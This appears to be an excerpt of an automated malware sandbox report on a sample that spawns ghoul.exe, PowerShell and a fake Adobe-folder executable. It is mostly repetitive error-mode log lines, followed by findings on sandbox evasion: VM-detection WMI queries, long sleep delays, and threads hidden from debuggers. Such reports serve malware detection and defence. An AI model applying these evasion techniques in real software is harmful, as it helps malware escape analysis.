    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeProcess information set: NOGPFAULTERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess information set: NOOPENFILEERRORBOX

    Malware Analysis System Evasion

    barindex
    Yara detected AntiVM3
    Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6168, type: MEMORYSTR
    Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exe TID: 2792Thread sleep time: -941000s >= -30000sJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exe TID: 7512Thread sleep time: -1844674407370954s >= -30000sJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exe TID: 7512Thread sleep time: -600000s >= -30000sJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exe TID: 6748Thread sleep time: -30000s >= -30000sJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6296Thread sleep count: 9208 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928Thread sleep time: -922337203685477s >= -30000sJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1844Thread sleep count: 9044 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6536Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeLast function: Thread delayed
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeThread delayed: delay time: 600000Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeWindow / User API: threadDelayed 941Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9208Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9044
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess information queried: ProcessInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeThread delayed: delay time: 600000Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: powershell.exe, 00000011.00000003.92686538196.000001FE7DF0F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <!-- IFRpbWUtU3RhbXAgUENBIDIwMTAwDQYJKoZIhvcNAQEFBQACBQDk2nlVMCIYDzIw -->
    Source: Amcache.hve.26.drBinary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
    Source: powershell.exe, 00000011.00000003.92680744963.000001FE7DEF5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IFRpbWUtU3RhbXAgUENBIDIwMTAwDQYJKoZIhvcNAQEFBQACBQDk2nlVMCIYDzIw
    Source: vbc.exe, 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllAA
    Source: RegSvcs.exe, 00000010.00000003.92373147446.000002A213D1F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllII

    Anti Debugging

    barindex
    Hides threads from debuggers
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeThread information set: HideFromDebugger
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeThread information set: HideFromDebugger
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess token adjusted: DebugJump to behavior
